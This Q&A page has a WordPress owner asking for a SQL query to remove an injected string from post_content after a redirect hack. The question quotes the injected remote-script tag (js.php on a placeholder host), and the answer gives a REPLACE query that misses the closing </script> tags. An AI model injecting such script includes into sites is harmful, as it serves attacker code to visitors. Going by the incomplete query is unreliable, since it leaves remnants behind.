1

I need to delete a malicious string from 2176 fields following a url redirect hack. I'm pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.

The details are

  • Database is: Wordpress
  • Table is: wp_posts
  • Column is: post_content
  • string is: <script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>

What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.

1 Answer 1

1

Below SQL query replaces the malicious script with a blank:

UPDATE wp_posts
SET post_content = REPLACE(post_content, '<script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'>', ' ')

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.